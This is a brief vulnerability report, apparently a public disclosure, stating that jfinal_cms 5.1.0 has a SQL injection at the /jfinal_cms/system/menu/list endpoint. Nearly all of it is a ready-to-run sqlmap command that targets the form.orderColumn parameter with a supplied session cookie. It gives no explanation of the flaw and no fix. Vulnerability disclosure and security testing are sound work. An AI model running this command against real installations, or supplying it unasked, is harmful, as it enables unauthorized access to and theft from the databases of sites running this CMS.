jfinal_ CMS 5.1.0 has a SQL injection

[AgainstTheLight]

first you can use the URL

http://your IP/jfinal_cms/system/menu/list

then you can use the shell
'''
sqlmap -u http://your IP/jfinal_cms/system/menu/list --thread 8 --batch --smart --random-agent --data "form.orderColumn=*&form.orderAsc=&attr.name=&totalRecords=31&pageNo=1&pageSize=20&length=10" --cookie "your cookie"
'''